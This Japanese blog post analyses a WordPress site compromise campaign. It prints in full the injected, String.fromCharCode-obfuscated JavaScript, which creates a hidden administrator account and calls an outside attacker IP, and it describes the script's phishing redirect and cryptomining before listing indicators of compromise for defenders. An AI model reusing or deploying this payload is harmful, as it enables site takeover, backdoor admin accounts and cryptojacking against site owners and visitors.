Table of Contents

先月中旬にSucuriがレポートしたもの(上記の記事を参照のこと)と同様のWordPressの改ざん事例を日本国内でも数件確認しました。

Imgur

ちなみにPublicWWWの検索結果によれば、世界中で1700+のWebサイトが改ざんされている模様です。

Imgur

How it works

攻撃者は何らかの手法でWordPressサイトを改ざんし、JS(http://json.stringengines[.]com/pson.js)を埋め込みます。

このJSは下記のようにevalString.fromCharCodeメソッドを用いて簡易な難読化が施されています。

 function putmeone()  {
		 var site = extractSummary(document.head.innerHTML);
		 if(site == "null") { return; }
		 var newuser_url = site+String.fromCharCode(119, 112, 45, 97, 100, 109, 105, 110, 47, 117, 115, 101, 114, 45, 110, 101, 119, 46, 112, 104, 112);
		 var ajax_url = site+String.fromCharCode(119, 112, 45, 97, 100, 109, 105, 110, 47, 97, 100, 109, 105, 110, 45, 97, 106, 97, 120, 46, 112, 104, 112);
		 var _td = String.fromCharCode(9, 9, 32, 118, 97, 114, 32, 36, 32, 61, 32, 106, 81, 117, 101, 114, 121, 46, 110, 111, 67, 111, 110, 102, 108, 105, 99, 116, 40, 41, 59, 10, 32, 32, 32, 32, 32, 36, 46, 97, 106, 97, 120, 40, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 58, 32, 110, 101, 119, 117, 115, 101, 114, 95, 117, 114, 108, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 117, 99, 99, 101, 115, 115, 34, 32, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 104, 116, 109, 108, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 42, 99, 111, 110, 115, 111, 108, 101, 46, 108, 111, 103, 40, 34, 71, 101, 116, 116, 105, 110, 103, 32, 78, 111, 110, 99, 101, 34, 41, 59, 42, 47, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 114, 101, 32, 61, 32, 47, 110, 97, 109, 101, 61, 34, 95, 119, 112, 110, 111, 110, 99, 101, 95, 99, 114, 101, 97, 116, 101, 45, 117, 115, 101, 114, 34, 40, 91, 32, 93, 43, 41, 118, 97, 108, 117, 101, 61, 34, 40, 91, 94, 34, 93, 43, 41, 34, 47, 103, 59, 10, 9, 9, 9, 105, 102, 40, 104, 116, 109, 108, 46, 105, 110, 100, 101, 120, 79, 102, 40, 34, 95, 119, 112, 110, 111, 110, 99, 101, 95, 99, 114, 101, 97, 116, 101, 45, 117, 115, 101, 114, 34, 41, 32, 33, 61, 61, 32, 45, 49, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 109, 32, 61, 32, 114, 101, 46, 101, 120, 101, 99, 40, 104, 116, 109, 108, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 109, 91, 50, 93, 46, 109, 97, 116, 99, 104, 40, 47, 40, 91, 97, 45, 122, 48, 45, 57, 93, 123, 49, 48, 125, 41, 47, 41, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 110, 111, 110, 99, 101, 32, 61, 32, 109, 91, 50, 93, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 36, 46, 97, 106, 97, 120, 40, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 58, 32, 110, 101, 119, 117, 115, 101, 114, 95, 117, 114, 108, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 109, 101, 116, 104, 111, 100, 34, 32, 58, 32, 34, 80, 79, 83, 84, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 100, 97, 116, 97, 34, 32, 58, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 97, 99, 116, 105, 111, 110, 34, 58, 34, 99, 114, 101, 97, 116, 101, 117, 115, 101, 114, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 95, 119, 112, 110, 111, 110, 99, 101, 95, 99, 114, 101, 97, 116, 101, 45, 117, 115, 101, 114, 34, 58, 32, 110, 111, 110, 99, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 95, 119, 112, 95, 104, 116, 116, 112, 95, 114, 101, 102, 101, 114, 101, 114, 34, 32, 58, 32, 34, 47, 119, 112, 45, 97, 100, 109, 105, 110, 47, 117, 115, 101, 114, 45, 110, 101, 119, 46, 112, 104, 112, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 115, 101, 114, 95, 108, 111, 103, 105, 110, 34, 58, 32, 34, 115, 105, 109, 112, 108, 101, 48, 48, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 101, 109, 97, 105, 108, 34, 32, 58, 32, 34, 115, 105, 109, 112, 108, 101, 64, 115, 105, 109, 112, 108, 101, 115, 105, 116, 101, 46, 99, 111, 109, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 102, 105, 114, 115, 116, 95, 110, 97, 109, 101, 34, 32, 58, 32, 34, 115, 105, 109, 112, 108, 101, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 108, 97, 115, 116, 95, 110, 97, 109, 101, 34, 32, 58, 32, 34, 115, 105, 109, 112, 108, 101, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 32, 58, 32, 34, 104, 116, 116, 112, 58, 47, 47, 115, 105, 109, 112, 108, 101, 46, 99, 111, 109, 47, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 97, 115, 115, 49, 34, 32, 58, 32, 34, 112, 97, 115, 115, 102, 111, 114, 109, 101, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 97, 115, 115, 49, 45, 116, 101, 120, 116, 34, 32, 58, 32, 34, 112, 97, 115, 115, 102, 111, 114, 109, 101, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 97, 115, 115, 50, 34, 32, 58, 32, 34, 112, 97, 115, 115, 102, 111, 114, 109, 101, 49, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 101, 110, 100, 95, 117, 115, 101, 114, 95, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 34, 32, 58, 32, 48, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 111, 108, 101, 34, 58, 34, 97, 100, 109, 105, 110, 105, 115, 116, 114, 97, 116, 111, 114, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 114, 101, 97, 116, 101, 117, 115, 101, 114, 34, 32, 58, 32, 34, 65, 100, 100, 43, 78, 101, 119, 43, 85, 115, 101, 114, 34, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 117, 99, 99, 101, 115, 115, 34, 32, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 104, 116, 109, 108, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 99, 111, 110, 115, 111, 108, 101, 46, 108, 111, 103, 40, 34, 78, 101, 119, 32, 85, 115, 101, 114, 32, 99, 114, 101, 97, 116, 101, 100, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 82, 101, 109, 111, 118, 101, 105, 110, 103, 32, 116, 104, 101, 32, 88, 83, 83, 32, 102, 114, 111, 109, 32, 116, 104, 101, 32, 115, 105, 116, 101, 44, 32, 99, 97, 108, 108, 98, 97, 99, 107, 32, 104, 101, 108, 108, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 36, 46, 97, 106, 97, 120, 40, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 117, 114, 108, 34, 58, 32, 97, 106, 97, 120, 95, 117, 114, 108, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 109, 101, 116, 104, 111, 100, 34, 32, 58, 32, 34, 80, 79, 83, 84, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 100, 97, 116, 97, 34, 32, 58, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 97, 99, 116, 105, 111, 110, 34, 58, 34, 102, 97, 107, 101, 34, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 112, 101, 114, 109, 97, 108, 105, 110, 107, 95, 115, 116, 114, 117, 99, 116, 117, 114, 101, 34, 58, 32, 49, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 34, 115, 117, 99, 99, 101, 115, 115, 34, 58, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 82, 101, 115, 101, 100, 32, 100, 111, 109, 101, 44, 32, 114, 101, 108, 111, 97, 100, 32, 116, 104, 101, 32, 112, 97, 103, 101, 10, 9, 9, 9, 9, 9, 9, 9, 9, 104, 116, 116, 112, 71, 101, 116, 40, 34, 104, 116, 116, 112, 58, 47, 47, 49, 52, 54, 46, 49, 56, 53, 46, 49, 56, 50, 46, 49, 55, 54, 47, 103, 47, 97, 46, 112, 104, 112, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 32, 43, 32, 39, 38, 114, 101, 108, 111, 97, 100, 61, 49, 39, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 9, 9, 9, 10, 9, 9, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 41, 59);
		 eval(_td);
}

このJSは以下のような挙動をします。

  1. Cookie(checkmeonce)が設定されているかをチェック
    • YES: 2.に移行
    • NO : Cookie(checkmeonce)を設定し、フィッシングサイト(https://for.stringengines[.]com/sp.php)に遷移
  2. wp-admin/user-new.phpにアクセスできるか(= WordPressの管理者権限をもったユーザーであるか)をチェック
    • YES: wp-admin/admin-ajax.phpにリエクストをを送り、管理者権限のユーザー(ユーザー名: simple001)を作成
    • NO : Coinhive(SiteKey = lfHhfTEvPsSW0VDHSNcwepmD8v36B4hN)を埋め込む

つまり、管理者権限の奪取 + フィッシングサイトへの誘導 + Cryptojackingの合わせ技を行うわけです。怖いですね。

参考: IOC

  • json.stringengines[.]com
  • 146.185.182[.]176
  • for.stringengines[.]com
  • 5468fcbf31c2086c66a5d133a7e61b5f130b72f6964750d679f6b642af5f8a43

参考: 難読化解除版JSコード